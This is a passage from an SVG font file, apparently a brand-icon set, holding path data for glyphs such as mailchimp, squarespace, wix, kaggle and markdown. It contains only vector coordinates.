c-9.35938 -30.6201 -6.24023 -56.4404 2.64062 -80.0498c-82.25 -56.3008 -76.75 -117.221 -81.3701 -149.11c-4.40039 -30.3496 -4.4502 -89.29 -25.5107 -97.21v29.9502l-5.2793 7l-5.28027 -12.3203zM346.9 71.4697l-15.8408 10.5303
c7.4707 4.36035 13.7607 8.41992 19.3506 12.3203c-0.600586 -7.2207 -0.270508 -13.8398 -3.50977 -22.8398v-0.0107422zM375.05 120.73c-0.399414 -10.9404 -0.899414 -21.6602 -1.75977 -31.6709c-7.84961 1.86035 -15.5703 3.80078 -21.1104 7
c8.24023 7.94043 15.5508 16.3203 22.8701 24.6807v-0.00976562zM399.68 115.45l-23.75 6.16016c5.62695 7.16797 13.9014 19.3848 18.4707 27.2695c3.22949 -9.21973 5.2793 -20 5.2793 -33.4297zM403.2 196.39c19.4395 -12.8096 27.7998 -33.6592 29.9102 -56.2998
c-12.3203 4.53027 -24.6299 9.31055 -36.9502 10.5605c5.05957 12 6.64941 28.1396 7 45.7393h0.0400391zM401.44 242.13c18.5596 -2.62988 35.1494 -9.18945 45.7598 -28.1494c-14.2197 -4.36035 -24.7803 -5.9707 -44 -14.0801
c0.0800781 13.4092 -0.950195 27.9297 -1.75977 42.2295zM165.68 71.4805c-3.23926 9 -2.91016 15.5791 -3.50977 22.8398c5.58984 -3.90039 11.8799 -7.95996 19.3496 -12.3203zM137.53 120.74c7.31934 -8.36035 14.6299 -16.7402 22.8701 -24.6699
c-5.54004 -3.2002 -13.2607 -5.14062 -21.1104 -7c-0.860352 10.0098 -1.36035 20.7295 -1.75977 31.6699zM112.89 115.46c0 13.4297 2 24.21 5.28027 33.4297c4.56934 -7.88477 12.8438 -20.1016 18.4697 -27.2695zM109.37 196.4h0.0898438
c0.349609 -17.6006 2 -33.7402 7 -45.7402c-12.3701 -1.25 -24.6797 -6.03027 -37 -10.5605c2.11035 22.6406 10.4697 43.4902 29.9102 56.3008zM111.13 242.14c-0.80957 -14.2998 -1.83984 -28.8193 -1.75977 -42.2295c-19.2197 8.10938 -29.7803 9.71973 -44 14.0801
c10.6299 18.9502 27.2295 25.5195 45.7598 28.1494z" />
    <glyph glyph-name="hornbill" unicode="&#xf592;" horiz-adv-x="512" 
d="M76.3799 77.7002c0.182617 -1.37207 0.331055 -3.6084 0.331055 -4.99219c0 -20.8662 -16.9346 -37.8008 -37.7998 -37.8008s-37.7998 16.9346 -37.7998 37.8008c0 20.8652 16.9346 37.7998 37.7998 37.7998c1.49805 0 3.91602 -0.173828 5.39844 -0.387695
c-78.2793 111.35 52 190.53 52 190.53c-5.85938 -43 -8.23926 -91.1602 -8.23926 -91.1602c-67.3105 -41.4902 0.929688 -64.0605 39.8096 -72.8701c18.6445 -50.7129 77.6279 -91.9023 131.66 -91.9404c1.91992 0 3.76953 0.209961 5.66992 0.280273l0.110352 -18.8604
c-99.2207 -1.38965 -158.7 29.1406 -188.94 51.6006zM184.38 405.4c109.75 73.9395 187.601 -54.0605 187.601 -54.0605c-43.04 5.86035 -91.1807 8.24023 -91.1807 8.24023c-43.0996 70.0098 -65.7998 -6.58008 -73.7998 -44.29
c-48.4805 -19.5557 -87.8545 -77.8545 -87.8896 -130.13c0 -0.910156 0.139648 -1.78027 0.139648 -2.67969l-21.8398 -0.150391c-1.41016 100.43 29.8701 160.09 52.4199 190c-0.842773 -0.0683594 -2.21191 -0.123047 -3.05664 -0.123047
c-20.9482 0 -37.9502 17.001 -37.9502 37.9492c0 20.9492 17.002 37.9502 37.9502 37.9502c13.1934 0 28.5273 -9.65723 34.2266 -21.5566c2.04199 -4.25488 3.7002 -11.5381 3.7002 -16.2578c0 -1.35547 -0.143555 -3.54785 -0.320312 -4.8916zM488.57 271.23
c-4.21777 -2.00879 -11.3906 -3.63867 -16.0615 -3.63867c-0.886719 0 -2.32422 0.0625 -3.20898 0.138672c84.4502 -113.45 -49 -194.61 -49 -194.61c5.87012 43.0303 8.20996 91.1602 8.20996 91.1602c66.6006 40.96 0.640625 63.54 -38.46 72.54
c-19.3633 48.9775 -77.8232 88.7422 -130.49 88.7598c-2.75 0 -5.43945 -0.259766 -8.13965 -0.410156l-0.139648 22.5c93.6094 1.33008 151.72 -25.7998 183.45 -47.7402c-0.226562 1.52539 -0.40918 4.01465 -0.40918 5.55566c0 20.9434 16.9971 37.9404 37.9395 37.9404
c20.9434 0 37.9404 -16.9971 37.9404 -37.9404c0 -13.2236 -9.69043 -28.5703 -21.6309 -34.2549zM374.06 11.7598v-0.0595703c0.0917969 0.000976562 0.239258 0.000976562 0.330078 0.000976562c20.9375 0 37.9297 -16.9922 37.9297 -37.9297
s-16.9922 -37.9297 -37.9297 -37.9297c-13.1963 0 -28.5273 9.66211 -34.2197 21.5684c-1.76367 3.66602 -3.39453 9.93848 -3.63965 14c-111.98 -80.3398 -191.9 51 -191.9 51c43.0703 -5.87988 91.1904 -8.21973 91.1904 -8.21973
c41.3301 -67.1709 63.9199 0.540039 72.7695 39.4893c50.418 18.7646 91.3604 77.6543 91.3906 131.45c0 2.08008 -0.220703 4.08984 -0.300781 6.15039l19.5205 0.139648c1.28027 -89.9697 -23.71 -147.2 -45.1406 -179.66z" />
    <glyph glyph-name="mailchimp" unicode="&#xf59e;" 
d="M330.61 204.48c-2.50977 3.17969 -4.70996 8.31934 -5.9707 14.3193c-2.22949 10.6807 -1.98926 18.4102 4.24023 19.4199c6.23047 1.01074 9.25 -5.45996 11.4805 -16.1299c1.5 -7.17969 1.20996 -13.7803 -0.450195 -17.6094
c-1.27832 0.165039 -3.36133 0.299805 -4.65039 0.299805c-1.28809 0 -3.37207 -0.134766 -4.64941 -0.299805zM277.05 196c-4.45996 1.95996 -10.2598 4.13965 -17.2598 3.7002c-12.5996 -0.770508 -21.75 -7.21973 -22.5996 -3.48047
c-0.400391 1.83984 2.40918 4.87988 5.40918 7.06055c4.5791 3.35254 12.9014 6.07422 18.5762 6.07422c3.45312 0 8.84473 -1.07324 12.0342 -2.39453c8.63965 -3.7002 14.0098 -11.1504 12.1201 -13.0898c-1.08008 -1.12988 -3.81055 0.129883 -8.28027 2.12988z
M268.05 190.87c9.68066 1.14941 16.8604 -4.62988 15.4004 -6.85059c-0.629883 -1.00977 -2.02051 -0.829102 -4.94043 -0.489258c-1.55078 0.239258 -4.08301 0.433594 -5.65234 0.433594c-3.72656 0 -9.58105 -1.06738 -13.0674 -2.38379
c-4.04004 -1.62012 -4.30957 -1.15039 -5.20996 -0.810547c-1.53027 3.57031 4.40039 8.68066 13.4697 10.1006zM322.22 173.77c-3.40039 -6.91016 -17.7002 0.0703125 -14.2998 7c3.40039 6.93066 17.6797 -0.129883 14.2998 -7zM337.88 194.24
c7.69922 -0.149414 7.42969 -16.0605 -0.259766 -15.9307c-7.69043 0.130859 -7.40039 16.0605 0.259766 15.9307zM119.09 115.34c4.0293 0.910156 3.40039 -1.25 3.37012 -0.359375c0.256836 -0.317383 0.46582 -0.904297 0.46582 -1.3125
c0 -0.299805 -0.119141 -0.755859 -0.265625 -1.01758c-3.16016 -7.37012 -20.1904 -7.68066 -21.5801 9c-0.910156 10.8594 9.30957 21.0293 -2.28027 28.6191c-1.77734 1.17773 -4.95117 2.13281 -7.08301 2.13281c-3.84961 0 -8.67285 -2.62207 -10.7666 -5.85254
c-3.2998 -5.16016 -3.11035 -12.2002 -7.37988 -11.6299c-3.7207 0.540039 -3.70996 14.4805 5 24.0801c7.22949 8 25.9492 11.9297 35.0498 -5.54004c8.11035 -15.3896 -8.2002 -27.7695 -3 -35.7695c2.46973 -3.80078 7.14941 -2.66016 8.46973 -2.35059zM418.81 132.41
c6.44043 0 16.5605 -7.5 16.5605 -25.2705c0 -17.7695 -7.37012 -37.9092 -9.11035 -42.3799c-54.3896 -130.279 -264.56 -130.06 -322.29 3c-31.5293 -0.0400391 -64.1699 26.9805 -67.5293 60.3799c-0.256836 2.25195 -0.463867 5.91992 -0.463867 8.18652
c0 7.21289 2.04395 18.5537 4.56348 25.3135l-14.7598 12.5107c-67.5498 57.04 143.72 291.85 211.27 232.93c0.339844 -0.299805 22.9902 -22.5205 23.0498 -22.5703l12.5508 5.33008c59.2695 24.5303 107.359 12.6904 107.42 -26.4697
c0.0292969 -20.3604 -12.9404 -44.1006 -33.7305 -65.6504c26.1699 -24.2998 20.0205 -71.6094 21.5205 -83c7.19922 -2 30.6992 -7.62012 41.0996 -18.54c18.3604 -19.25 5.52051 -39.5801 3.07031 -43.25c4.20996 -11.2998 3.42969 -8.79004 6.7793 -20.5195z
M102.81 84.25c29.4502 -0.680664 38.6309 28.2002 34.0908 57.8398c-9.74023 62.9404 -90.1699 48.9805 -84 -12.3301c2.44922 -24.3594 27.0898 -44.8994 49.9092 -45.5098zM84.2998 198.45c19.3105 51.8096 51.54 99.5498 94.2002 132.399
c31.6504 26.4102 65.7998 45.3506 65.7998 45.3506s-18.3896 21.3193 -23.9395 22.8896c-34.1699 9.23047 -107.94 -41.6494 -155.051 -108.88c-19.0596 -27.21 -46.3096 -75.3604 -33.2998 -100.21c1.58984 -3 10.71 -10.9297 15.5898 -15
c8.18066 11.9102 21.54 20.5 36.7002 23.4502zM323.18 97.2998c2.58984 0.259766 0.560547 -2.53027 0.560547 -2.53027s-27.4004 -12.75 -71 0.740234c1.20996 -10.2295 11.1699 -14.8193 15.9395 -16.6699c31.4004 -12.21 86.6904 -2.58008 128.46 26
c0.850586 0.589844 1.41992 0 0.730469 -1c-28.9697 -41.3496 -128.73 -54.7598 -151.37 -21.3496c-12.0801 17.8301 -0.599609 43.8594 19.5498 41.1494c6.7998 -0.769531 53.7705 -8 100.48 13.6807c27.4893 12.7598 37.8701 26.79 36.3096 38.1602
c-0.447266 3.00293 -2.57031 7.16504 -4.74023 9.28906c-5 4.83008 -12.79 8.60059 -26 12.3105c-4.35938 1.22949 -7.31934 2.00977 -10.5098 3.05957c-5.67969 1.83008 -8.47949 3.33008 -9.10938 14c-0.280273 4.62988 -1.09082 20.9102 -1.38086 27.6299
c-0.519531 11.7607 -1.91992 27.8506 -11.9199 34.4902c-2.37305 1.51953 -6.58691 2.75195 -9.40527 2.75195c-1.1748 0 -3.05371 -0.229492 -4.19434 -0.511719c-5.69043 -0.969727 -9.06055 -4.00977 -13.2598 -7.50977
c-12.4404 -10.3701 -22.9502 -12.0605 -34.6406 -11.5605c-6.98926 0.290039 -14.3994 1.37988 -22.8799 1.87988l-5 0.290039c-19.5801 1 -40.5693 -15.9092 -44.0693 -39.9092c-4.86035 -33.4307 19.3291 -50.7002 26.3291 -60.8301
c0.912109 -1.0918 1.77246 -3.12598 1.9209 -4.54004c0 -1.94043 -1.25 -3.48047 -2.48047 -4.79004c-19.9805 -20.54 -26.3701 -53.1699 -18.8398 -80.3701c0.768555 -2.76562 2.35938 -7.12891 3.5498 -9.74023c17.7002 -41.2598 72.4902 -60.4795 126 -43
c5.81152 1.89844 14.9238 5.74219 20.3398 8.58008c9.78906 4.8418 23.7441 15.2852 31.1504 23.3096c14.2002 14.8408 22.6396 30.9707 25.9297 50.8408c2.81055 18.6191 -7.78027 18.7598 -11.4395 18.0996c-1.13477 6.94531 -4.32422 17.8223 -7.12012 24.2803
c-15.6299 -12.3506 -35.71 -20.9707 -51 -25.3506c-69.4004 -19.9102 -90.1904 6.35059 -96.4004 -13.8096c33.7705 -12.3701 69.5098 -7.07031 69.5098 -7.07031zM171.31 290.5l0.0605469 0.00976562c-0.0947266 -0.115234 -0.171875 -0.331055 -0.171875 -0.481445
c0 -0.418945 0.34082 -0.759766 0.759766 -0.759766c0.124023 0 0.308594 0.0546875 0.412109 0.121094c11.4199 8.30078 64.9502 42.7705 134.5 26.8301c0.860352 -0.189453 1.39941 1.29004 0.639648 1.7207c-11.3398 6.33984 -28.6895 10.6494 -41 10.7393
c-0.404297 0.00976562 -0.732422 0.345703 -0.732422 0.75c0 0.134766 0.0634766 0.332031 0.142578 0.44043c1.84668 2.41602 5.30078 5.88379 7.70996 7.74023c0.166992 0.126953 0.302734 0.401367 0.302734 0.611328c0 0.424805 -0.344727 0.770508 -0.770508 0.770508
c-0.0146484 0 -0.0380859 -0.000976562 -0.0517578 -0.00195312c-17.5205 -1.08008 -37.5107 -9.4707 -49 -17.2998c-0.107422 -0.0751953 -0.300781 -0.136719 -0.431641 -0.136719c-0.414062 0 -0.75 0.335938 -0.75 0.75
c0 0.0498047 0.00976562 0.12793 0.0214844 0.176758c0.899414 4.30957 3.72949 9.98926 5.18945 12.6494c0.0566406 0.0947266 0.102539 0.261719 0.102539 0.37207c0 0.402344 -0.327148 0.729492 -0.730469 0.729492
c-0.110352 0 -0.276367 -0.0449219 -0.37207 -0.101562c-18.4697 -9.4502 -39.0898 -26.2803 -55.8301 -45.6299z" />
    <glyph glyph-name="megaport" unicode="&#xf5a3;" horiz-adv-x="496" 
d="M214.5 238.4l33.4004 33.3994l33.3994 -33.3994v-66.4004l-33.2998 -33.2998l-33.5 33.5v66.2002zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM393.1 25.5996h0.100586v87.1006l-59.7002 59.7002v87.5996l-59.5 59.5
v75.5996l-26.0996 19.2002l-26.1006 -19.2002v-75.5996l-59.5 -59.5v-87.9004l-59.5 -59.5v-87l26.1006 -19.1992l26.0996 19.1992v65.5l33.5 33.4004l33.4004 -33.4004v-65.5l26.0996 -19.1992l26.2002 19.1992v65.5l33.3994 33.4004l33.4004 -33.4004v-65.5l26 -19.1992z
" />
    <glyph glyph-name="nimblr" unicode="&#xf5a8;" horiz-adv-x="384" 
d="M246.6 148.71c15.5703 0 27.1504 -11.46 27.1504 -27s-11.6201 -27 -27.1504 -27c-15.6992 0 -27.1494 11.5703 -27.1494 27s11.5498 27 27.1494 27zM113 121.75c0 15.6104 11.6797 27 27.1504 27c15.4697 0 27.1494 -11.46 27.1494 -27s-11.4697 -27 -27.1494 -27
c-15.4404 0 -27.1504 11.3096 -27.1504 27zM191.76 289c98.3701 0 177.76 -78.9102 177.76 -176.48c0 -97.5693 -79.6094 -176.52 -177.76 -176.52c-98.1494 0 -177.76 78.8701 -177.76 176.52v335.48l45.25 -227c30.2002 48.2305 97.75 68 132.51 68zM191.76 -19.1201
c73.2402 0 132.51 58.96 132.51 131.64c0 72.6807 -59.2393 131.54 -132.51 131.54c-73.2695 0 -132.51 -58.8994 -132.51 -131.59c0 -72.6895 59.2402 -131.59 132.51 -131.59z" />
    <glyph glyph-name="rev" unicode="&#xf5b2;" 
d="M289.67 173.11c0 -36.1943 -29.375 -65.5801 -65.5703 -65.5801c-36.1943 0 -65.5693 29.375 -65.5693 65.5693c0 36.1953 29.375 65.5703 65.5693 65.5703h0.0107422c36.1445 -0.0439453 65.5156 -29.415 65.5596 -65.5596zM429.22 178.16v-210.16h-210.16v0.110352
c-110.939 2.70996 -200.06 93.4092 -200.06 205c0 108.569 84.2998 197.319 191 204.569v38.3203l108.77 -62.7803l-108.77 -62.79v39.1201c-80 -7.16016 -143 -74.5498 -143 -156.43c0 -86.6201 70.4902 -157.12 157.11 -157.12s157.09 70.5 157.09 157.12
c-0.0224609 47.1709 -32.1934 106.235 -71.8105 131.84l45.3799 26.2002c39.8018 -32.8584 73.0977 -101.402 74.3203 -153h0.129883z" />
    <glyph glyph-name="shopware" unicode="&#xf5b5;" horiz-adv-x="512" 
d="M403.5 -7.41016c-36.0898 -26.8223 -101.875 -48.5908 -146.841 -48.5908c-0.181641 0 -0.477539 0.000976562 -0.65918 0.000976562c-137.19 0 -248 111 -248 248c0 137.19 111 248 248 248h0.211914c52.3994 0 126.538 -28.4482 165.488 -63.5
c0.643555 -0.585938 1.16602 -1.76855 1.16602 -2.63965c0 -1.9707 -1.59961 -3.56934 -3.57031 -3.56934c-0.125977 0 -0.330078 0.0126953 -0.456055 0.0292969c-15.2227 2.03223 -40.042 3.68164 -55.4004 3.68164
c-0.361328 0 -0.948242 -0.000976562 -1.30957 -0.00195312c-129.36 0 -222.399 -53.4697 -222.399 -155.35c0 -109 92.1299 -145.881 176.829 -178.73c33.6406 -13 65.4004 -25.3604 87 -41.5898c0.788086 -0.592773 1.42676 -1.87402 1.42676 -2.86035
c0 -0.985352 -0.638672 -2.2666 -1.42676 -2.85938zM503 214.91c0.578125 -6.2832 1.04688 -16.5039 1.04688 -22.8135c0 -25.8613 -7.62793 -66.4043 -17.0273 -90.4971c-0.495117 -1.2373 -1.98047 -2.24316 -3.31348 -2.24316
c-0.495117 0 -1.25 0.19043 -1.68652 0.423828c-29.4893 16.3594 -61.6094 28.3398 -92.6797 39.9297c-60.2803 22.4902 -112.34 41.8896 -112.34 84.4902c0 1.45996 -3.87988 53.6299 80.25 53.6299c50.8604 0 92.7197 -17.4805 144.48 -60.4805
c0.625 -0.530273 1.19336 -1.62305 1.26953 -2.43945z" />
    <glyph glyph-name="squarespace" unicode="&#xf5be;" horiz-adv-x="512" 
d="M186.12 104.66l157.22 157.2c38.5703 38.5898 101.13 38.5898 139.72 0c38.5908 -38.5801 38.5908 -101.13 0 -139.721l-119.25 -119.239l-0.0400391 -0.0400391c-19.2891 -19.2705 -50.5498 -19.25 -69.8193 0.0400391l154.149 154.14
c19.29 19.29 19.29 50.5703 0 69.8604s-50.5693 19.29 -69.8594 0l-157.181 -157.181c-9.64941 -9.64941 -25.29 -9.64941 -34.9395 0c-9.65039 9.65039 -9.65039 25.29 0 34.9404zM430.65 209.46c9.63965 -9.63965 9.63965 -25.2803 -0.0107422 -34.9297l-157.199 -157.2
c-38.5801 -38.5703 -101.141 -38.5703 -139.721 0l-0.0195312 0.0195312c-9.64062 9.65039 -9.62988 25.29 0.0195312 34.9307l0.0107422 0.00976562c9.64941 9.63965 25.2793 9.62988 34.9199 -0.00976562l0.0498047 -0.0498047
c19.29 -19.2607 50.5498 -19.2402 69.8193 0.0498047l157.2 157.18c9.64062 9.65039 25.2803 9.65039 34.9307 0zM168.66 122.13c-38.6006 -38.5801 -101.13 -38.5801 -139.73 0.00976562c-38.5801 38.5801 -38.5801 101.13 0 139.721l119.23 119.25l0.0195312 0.0195312
c19.3008 19.2803 50.5703 19.2705 69.8506 -0.0195312l-154.17 -154.17l-0.0302734 -0.0302734c-19.2803 -19.2998 -19.2598 -50.5605 0.0302734 -69.8398l0.00976562 -0.0107422c19.29 -19.29 50.5703 -19.2793 69.8496 0.0107422l157.21 157.18
c9.64062 9.63965 25.2705 9.63965 34.9102 0c9.64062 -9.65039 9.64062 -25.29 0 -34.9404zM81.3301 174.53c-9.64062 9.64941 -9.65039 25.29 0 34.9297l157.189 157.19c38.5908 38.5898 101.131 38.5898 139.721 0c9.64941 -9.64062 9.64941 -25.2803 0 -34.9307
c-9.64062 -9.64941 -25.2803 -9.64941 -34.9307 0l-0.0195312 0.0205078c-19.29 19.2793 -50.5596 19.2695 -69.8398 -0.0205078l-157.21 -157.189c-9.64062 -9.64062 -25.2705 -9.64062 -34.9102 0z" />
    <glyph glyph-name="themeco" unicode="&#xf5c6;" 
d="M202.9 439.57c9.89941 5.72949 26 5.81934 35.9492 0.209961l191.15 -107.63c10 -5.60059 18 -19.4404 18 -30.8604v-217.29c0 -11.4404 -8.05957 -25.29 -18 -31l-191.19 -108.74c-9.92969 -5.66016 -26 -5.56934 -35.8496 0.209961l-185.1 108.41
c-9.86035 5.78027 -17.8604 19.7402 -17.8604 31.1201v217.29c0 11.4404 8 25.3604 17.9102 31.0801zM125.5 239.74c-15.9404 0 -31.8896 -0.140625 -47.8301 -0.140625v-101.449h19.1299v29.8496h28.7002c49.71 0 49.5596 71.7402 0 71.7402zM265.64 139.45
l-30.7295 34.6396c37 7.50977 34.7998 65.2305 -10.8701 65.5098c-16.0898 0 -32.1699 0.140625 -48.2598 0.140625v-101.59h19.1299v33.9092h18.4102l29.5596 -33.9092h22.7598v1.2998zM224.05 221.77c23.3398 0 23.2598 -32.46 0 -32.46h-29.1299v32.46h29.1299z
M128.49 223.37c21.1797 0 21.1094 -38.8506 0 -38.8506h-32.3105v38.8408zM321.14 241.62c-68.46 0 -71 -105.8 0 -105.8c69.4805 0.00976562 69.4102 105.8 0 105.8zM321.14 224.23c44.1201 0 44.8008 -70.8604 0 -70.8604c-44.7998 0 -44.4297 70.8604 0 70.8604z" />
    <glyph glyph-name="weebly" unicode="&#xf5cc;" horiz-adv-x="512" 
d="M425.09 382.17c50.9102 0 87.5498 -35.1504 86.9199 -83.4697c0 -21.6201 -0.950195 -18.5498 -77.5 -227.2c-22.3799 -60.5703 -67.7695 -69.6699 -92.7402 -69.6699c-39.2393 0 -70.0391 19.46 -85.9297 54.29c-15.8896 -34.5205 -46.7002 -53.9805 -85.9297 -53.9805
c-24.9697 0 -70.3701 8.78027 -92.7402 69.3506c-72.9902 200.21 -77.1699 204.52 -77.1699 233.479c0 43.3105 38.5898 77.2002 87.54 77.2002c40.21 0 73.2803 -25.7295 83.6602 -64.3301c18.4795 58.0498 65.5 64.3301 85.2803 64.3301
c19.4492 0 66.7891 -6.26953 84.9492 -64.3301c10.3799 38.6006 43.7803 64.3301 83.6602 64.3301zM451.43 267.36c3.49023 11.1992 7.29004 19.3701 7.61035 27.2393c0 22.3906 -16.1602 35.71 -38.3301 35.71c-18.6904 0 -31.9902 -11.7998 -36.1104 -29.0498
l-44.0293 -139.819h-0.950195l-44.6602 136.79c-6.01953 19.9697 -16.4697 32.0791 -38.96 32.0791s-32.9404 -12.4092 -38.96 -32.0791l-44.6602 -136.79h-0.950195l-44.0293 139.819c-4.12012 17.25 -17.4199 29.0498 -36.1104 29.0498
c-22.4902 0 -38.3301 -13.0195 -38.3301 -29.3594c0 -10.5898 2.54004 -19.6699 7.91992 -34.5l64.9404 -175.23c7.91016 -21.4795 21.2197 -37.2197 46.2393 -37.2197c23.1201 0 37.0605 12.0996 44.0205 33.5996l39.2803 117.42h0.949219l39.2803 -117.42
c6.65039 -21.4893 20.5898 -33.8994 44.0303 -33.8994c25.0195 0 38.3203 15.7295 46.2402 37.2197z" />
    <glyph glyph-name="wix" unicode="&#xf5cf;" horiz-adv-x="640" 
d="M393.38 316.31c0 -13.0293 2.08008 -32.6895 -28.6797 -43.8291c-9.52051 -3.4502 -15.9502 -9.66016 -15.9502 -9.66016c0 31 4.71973 42.2197 17.4004 48.8594c9.75 5.11035 27.2295 4.62988 27.2295 4.62988zM277.58 280.77
c5.47949 26.3408 30.8799 38.3408 55.2998 35.2705l-65.5703 -247.93s-21.6396 -1.56055 -32.46 3.95996c-14.2197 7.25 -20.9893 12.8398 -29.5898 46.5693c-7.66992 30.0703 -29.1494 118.4 -31.1201 124.7c-4.30957 13.8105 -10.6396 14.9404 -15.3994 0
c-2.00977 -6.29004 -23.4502 -94.6299 -31.1201 -124.7c-8.61035 -33.7295 -15.3701 -39.3193 -29.5898 -46.5693c-10.8301 -5.52051 -32.46 -3.95996 -32.46 -3.95996l-65.5703 247.93c23.8604 3 49.7305 -8.5498 55.2803 -35.2705l34.2393 -132.659l28.4805 108.569
c7.76953 32.3506 21.0596 48.5303 48.4297 48.5303c27.6201 0 40.7402 -16.54 48.4307 -48.5303l28.4795 -108.569zM393.36 275.56v-8.97949l0.0195312 0.00976562v-150.27c-0.129883 -30.8301 -3.33008 -37.6807 -17.2598 -44.7803
c-10.8203 -5.52051 -27.3701 -3.42969 -27.3701 -3.42969v152.069c0 21.25 -1.95996 27.9404 13.1797 35.2002c6.19043 2.96973 11.96 5.25 17.9707 8.61035c9.35938 5.22949 13.46 11.5693 13.46 11.5693zM556.8 191.48l82.9902 -123.36s-35.9297 -4.62012 -53.3203 11.21
c-13.9102 12.6602 -23.7393 28.3398 -53.1396 70.7197c-0.5 0.770508 -6.25977 10.5205 -13.0703 0c-34.9297 -50.3496 -41.0195 -60.2598 -52.5098 -70.7197c-17.3799 -15.8301 -53.9502 -11.21 -53.9502 -11.21l82.9697 123.36l-83.1992 123.739
s35.1094 5.98047 52.5 -9.84961c13.3799 -12.1797 24.8896 -30.2402 54.1797 -72.4697c6.82031 -10.54 12.5996 -0.730469 13.0703 0c29.7695 42.9199 40.8799 60.3691 54.1797 72.4697c17.3896 15.8301 52.5 9.84961 52.5 9.84961z" />
    <glyph glyph-name="ello" unicode="&#xf5f1;" horiz-adv-x="496" 
d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM391.84 154.8c2.48047 7.44043 -2.47949 15.71 -9.91992 17.3604c-7.43945 2.47949 -15.71 -2.48047 -17.3604 -9.91992
c-14.0498 -52.9102 -62 -90.1104 -116.56 -90.1104s-102.51 37.2002 -116.56 90.1104c-1.65039 7.43945 -9.9209 11.5693 -17.3604 9.91992c-7.44043 -1.65039 -11.5703 -9.91992 -9.91992 -17.3604c16.5303 -65.3096 76.0498 -111.6 143.84 -111.6
s127.31 46.29 143.84 111.6z" />
    <glyph glyph-name="hackerrank" unicode="&#xf5f7;" horiz-adv-x="512" 
d="M477.5 320c14.5 -25 14.4805 -230.92 -0.00976562 -256s-192.391 -128 -221.33 -128c-28.9404 0 -206.83 102.8 -221.32 128s-14.4102 230.79 0 256s192.351 128 221.32 128s206.84 -103.05 221.34 -128zM316.13 33.7803c3.95996 0 40.4404 35.7793 37.5605 38.6895
c-0.870117 0.839844 -8.82031 1.49023 -17.6904 1.83984c0 32.4004 -3 19.0508 0.679688 210.341c0.0703125 3.65918 -1.04004 5.37988 -4.5 5.37988c-11.0801 0.0693359 -22.1602 0.0195312 -33.2295 -0.0605469c-3.25977 -0.0292969 -4.31055 -1.80957 -4.20996 -5.2002
c1.58984 -48.8994 1.2002 -79.0898 1.2002 -83.6396h-80.2607c0.629883 25.7998 0.209961 79.6396 2.62988 105.39v3.16016c8.87012 0.350586 15.9004 0.970703 16.7705 1.83984c2.90039 2.91016 -34.3203 38.6904 -38.2705 38.6904
c-3.94922 0 -41.4092 -35.7695 -38.4893 -38.6904c0.879883 -0.839844 7.58984 -1.48926 17.2598 -1.83984v-3.16992c3.15039 -128.67 1.07031 -179.229 0.150391 -212.67c-0.130859 -4.58008 1.63965 -6.10938 5.73926 -6.10938
c10.1406 0.0292969 20.2803 -0.0800781 30.4102 -0.0800781c4.16016 -0.0605469 5.96973 1.39941 5.74023 5.93945c-1.83008 36.6797 -1.37012 65.7803 -1.37012 72.8799h79.9297c0 -2.41992 0.44043 -3.84961 0.44043 -5.84961
c-0.350586 -17.7305 -0.94043 -60.0898 -0.94043 -86.3203c-11.29 -0.349609 -16.6797 -0.959961 -17.5498 -1.83008c-2.91016 -2.91992 34 -38.6895 38 -38.6895z" />
    <glyph glyph-name="kaggle" unicode="&#xf5fa;" horiz-adv-x="320" 
d="M304.2 -53.5l1.39941 -7.59961c-0.5 -2 -2.5 -3 -6 -3h-66.8994c-4 0 -7.5 1.7998 -10.5 5.2998l-110.5 140.6l-30.7998 -29.2998v-109c0 -5 -2.5 -7.5 -7.5 -7.5h-51.9004c-5 0 -7.5 2.5 -7.5 7.5v497c0 5 2.5 7.5 7.5 7.5h51.9004c5 0 7.5 -2.5 7.5 -7.5v-306
l132.3 133.7c3.5 3.5 7 5.2998 10.5 5.2998h69.2002c7 0 7.89941 -7.7998 5.2998 -10.5l-139.8 -135.3z" />
    <glyph glyph-name="markdown" unicode="&#xf60f;" horiz-adv-x="640" 
d="M593.8 388.9c25.5 0 46.2002 -20.7002 46.2002 -46.1006v-301.6c0.0996094 -25.4004 -20.5996 -46.1006 -46.0996 -46.1006h-547.7c-25.5 0 -46.2002 20.7002 -46.2002 46.2002v301.5c0 25.4004 20.7002 46.1006 46.2002 46.1006h547.6zM338.5 87.4004h-0.200195v209.199
h-61.5l-61.5 -76.8994l-61.5 76.8994h-61.5v-209.199h61.7002v120l61.5 -76.9004l61.5 76.9004v-120h61.5zM473.8 84.2998l92.2002 107.7h-61.5v104.6h-61.5v-104.6h-61.5z" />
    <glyph glyph-name="neos" unicode="&#xf612;" horiz-adv-x="512" 
d="M415.44 -64h-95.1104l-108.21 154.54v-91.0996l-86.4297 -63.4404h-97.6904v482.18l40.4697 29.8203h108.05l123.74 -176.13v112.68l86.4307 63.4502h97.6895v-461.5zM38.7695 412.73v-460.73l72 52.8799v249.12l215.5 -307.64h84.79l52.3506 38.1699h-78.2705
l-316.14 450.47zM121.31 -53.8799l80 58.7803v101l-79.7598 114.399v-220.939l-72.5498 -53.25h72.3398zM80.6299 437.23l310.601 -442.57h82.3691v442.57h-79.75v-317.561l-222.939 317.561h-90.2803zM311 256.35l72 -102.81v278.53l-72 -53v-122.721z" />
    <glyph glyph-name="zhihu" unicode="&#xf63f;" horiz-adv-x="640" 
d="M170.54 299.87h122.68v-217.55h-49.5293l-42.0107 -26.3701l-7.70996 26.3701l-23.4297 0.00976562v217.54zM268.29 105.94v170.31h-72.8203v-170.31l11.9004 -0.0400391l5.08008 -17.4707l27.8994 17.5107h27.9404zM149.83 200.33
c7.5 0 7.58984 -23.6104 7.58984 -23.6104h-61.6504c-0.879883 -13.1201 -3.50977 -26.6895 -7.86914 -40.6699l14.6191 11.6201c8.73047 -8.75 29.2109 -32.8896 36.79 -41.8096c9.15039 -13.1006 1.24023 -39.9902 1.24023 -39.9902l-53.96 64.9395
c-12.6094 -48.3496 -35.5898 -69.25 -35.5898 -69.25c-10.0898 -8.96973 -30.5098 -15.75 -51 -9.89941c42.8301 33.2197 66.4502 75.2402 70.8496 125.1h-65.5801s3.82031 23.6201 15.5605 23.6201h52.2695c0.480469 6.56055 1.68066 62.9404 1.68066 73.4404h-28.8701
